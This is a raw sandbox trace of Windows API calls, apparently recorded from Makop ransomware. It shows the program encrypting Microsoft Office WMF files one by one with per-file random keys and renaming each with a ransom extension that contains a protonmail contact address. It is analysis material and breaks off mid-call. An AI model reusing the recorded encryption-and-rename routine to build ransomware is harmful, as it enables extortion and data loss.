1 [0166.499] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.499] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.499] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.499] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.499] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.500] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x884, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x884, lpOverlapped=0x0) returned 1 [0166.500] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x890, dwBufLen=0x890 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x890) returned 1 [0166.500] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.500] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x890, lpOverlapped=0x0) returned 1 [0166.500] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.500] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.500] SetEndOfFile (hFile=0x130) returned 1 [0166.506] GetProcessHeap () returned 0x48a0000 [0166.506] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.506] GetProcessHeap () returned 0x48a0000 [0166.506] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.506] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18228_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.506] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18228_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18228_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18228_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18228_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.508] CloseHandle (hObject=0x130) returned 1 [0166.508] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3405b200, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3405b200, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18229_.WMF", cAlternateFileName="")) returned 1 [0166.508] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18229_.WMF") returned 70 [0166.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18229_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18229_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.511] GetProcessHeap () returned 0x48a0000 [0166.511] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.511] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.511] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.512] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xc, lpOverlapped=0x0) returned 1 [0166.515] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.515] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.515] GetProcessHeap () returned 0x48a0000 [0166.515] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.515] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.516] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.516] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.516] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.516] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.516] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.516] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.516] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.517] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.517] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.517] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.517] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7e4, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x7e4, lpOverlapped=0x0) returned 1 [0166.517] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x7f0, dwBufLen=0x7f0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x7f0) returned 1 [0166.517] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.517] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x7f0, lpOverlapped=0x0) returned 1 [0166.517] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.517] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.518] SetEndOfFile (hFile=0x130) returned 1 [0166.524] GetProcessHeap () returned 0x48a0000 [0166.524] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.524] GetProcessHeap () returned 0x48a0000 [0166.524] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.524] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18229_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.524] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18229_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18229_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18229_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18229_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.526] CloseHandle (hObject=0x130) returned 1 [0166.526] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef2cd000, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xef2cd000, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0x724, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18230_.WMF", cAlternateFileName="")) returned 1 [0166.526] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18230_.WMF") returned 70 [0166.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18230_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18230_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.527] GetProcessHeap () returned 0x48a0000 [0166.527] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.527] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.527] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.528] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xc, lpOverlapped=0x0) returned 1 [0166.532] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.532] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.532] GetProcessHeap () returned 0x48a0000 [0166.532] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.532] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.532] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.532] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.532] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.532] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.532] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.533] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.533] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.533] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.533] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.533] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.533] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x724, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x724, lpOverlapped=0x0) returned 1 [0166.533] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x730, dwBufLen=0x730 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x730) returned 1 [0166.533] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.534] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x730, lpOverlapped=0x0) returned 1 [0166.534] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.534] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.534] SetEndOfFile (hFile=0x130) returned 1 [0166.540] GetProcessHeap () returned 0x48a0000 [0166.540] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.540] GetProcessHeap () returned 0x48a0000 [0166.540] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.540] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18230_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.540] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18230_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18230_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18230_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18230_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.542] CloseHandle (hObject=0x130) returned 1 [0166.542] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfa3500, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcfa3500, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x67c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18231_.WMF", cAlternateFileName="")) returned 1 [0166.542] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18231_.WMF") returned 70 [0166.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18231_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.543] GetProcessHeap () returned 0x48a0000 [0166.544] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.544] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.544] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.544] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.547] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.547] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.547] GetProcessHeap () returned 0x48a0000 [0166.548] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.548] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.548] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.548] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.548] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.548] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.548] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.548] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.549] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.549] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.549] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.549] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.549] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x67c, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x67c, lpOverlapped=0x0) returned 1 [0166.549] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x680, dwBufLen=0x680 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x680) returned 1 [0166.549] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.549] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x680, lpOverlapped=0x0) returned 1 [0166.549] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.549] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.549] SetEndOfFile (hFile=0x130) returned 1 [0166.555] GetProcessHeap () returned 0x48a0000 [0166.555] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.555] GetProcessHeap () returned 0x48a0000 [0166.555] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.555] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18231_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.555] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18231_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18231_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18231_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18231_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.557] CloseHandle (hObject=0x130) returned 1 [0166.557] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4763d200, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4763d200, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x66c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18232_.WMF", cAlternateFileName="")) returned 1 [0166.557] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18232_.WMF") returned 70 [0166.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18232_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18232_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.559] GetProcessHeap () returned 0x48a0000 [0166.559] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.559] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.559] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.559] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.563] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.563] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.563] GetProcessHeap () returned 0x48a0000 [0166.563] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.563] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.563] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.564] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.564] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, 